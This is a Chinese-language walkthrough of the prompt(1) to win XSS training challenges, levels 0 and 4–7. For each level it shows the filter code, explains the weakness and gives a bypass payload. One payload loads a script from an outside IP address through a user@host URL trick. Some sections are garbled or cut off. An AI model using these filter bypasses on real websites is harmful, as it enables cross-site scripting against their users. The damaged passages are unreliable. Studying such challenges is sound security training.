XSS学习之prompt(1) to win
prompt(1) to win是一个xss练习平台。
链接地址:http://prompt.ml/0
规则:
1、成功执行prompt(1)即可获胜,payload不需要用户交互,若成功执行,界面会显示YOUWON。
2、每个payload均需要在以下浏览器测试:Chrome(最新版)、Firefox(最新版)、IE10
3、虽然大多数级别都具有所有浏览器解决方案,但有些可能没有。确保每个级别都有至少两个浏览器的解决方案。
4、最后但并非最不重要的一点是,有效载荷占用的字符较少。
Level 0 没有过滤
function escape(input) {
// warm up
// script should be executed without user interaction
return '';
}
题目分析:没有任何过滤。
Payload:
">'; }
题目分析:这个是将->替换成_,并要求绕过注释。因此只要想办法闭合注释即可,html可以-->或--!>闭合注释。
Payload:
--!>
Level 4 同源的正则过滤
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
题目分析:这里通过限制src的值的开头必须为http://prompt.ml/,来达到src的值必须为同源的脚本的目的,查找资料发现可以利用url的特性绕过.
浏览器支持这样的url:user:password@attacker.com。意思是使用user:password登录到站点attacker.com.
举例如下:admin:123456@www.baidu.com,意即使用用户名admin和密码123456登录到百度站点。
当然这个url也可以简化为user@attacker.com,即省略密码。
因此我们在构造http://prompt.ml/@attacker.com类似的Payload,将http://prompt.ml/作为user,attack.com理所应当就是我们自己的服务器,这样就绕过了同源限制。
但是这个payload还不行,因为 / 出现在user中是不允许的。考虑到这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过。
Payload:
http://prompt.ml%2f@172.16.73.66/test/1.js
Level 5 input_value限制
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '';
}
题目分析:过滤了>、onxxxx=和focus,所以在这里无法使用autofocus了。但是这里可以将input标签的type类型覆盖了,比如说将之覆盖成image类型,然后可以利用οnerrοr=,使用换行绕过即可。
Payload:
" type=image src onerror =prompt(1)
Level 6 表单提交action过滤
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
\n\
';
} catch (e) {
return 'Invalid form data.';
}
}
题目分析:通过代码和注释可以看出来,题目构造post表单,我们需要输入的格式为formURL#formDataJSON,比如http://httpbin.org/post#{"name":"Matt"},具体过程是先提取formURL构造form表单,formURL赋值给form标签中的action,然后post内容构造input标签。
我们想嵌入代码,经常能见到类似action=”javascript:alert(1)”的内容,但是后面还过滤了document.form[0].action内容,过滤了script和data。如下图所示
但是过滤存在缺陷,由于存在子级tag,action 将会优先指向name为action的子tag。
所以我们在构造payload时,可以将input标签的name属性值设置为action,这样document.form[0].action指向的就不是form标签中的action了,因此过滤也就不起作用了。神奇吧。
Payload:
javascript:prompt(1)#{"action":"Matt"}
Level 7 连续输出长度限制
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '';
}).join('\n');
}
题目分析:题目根据#分离,每一部分赋给一个title,如果超过12字符,就截取前12个。举例
可以使用注释绕过长度限制
"> ">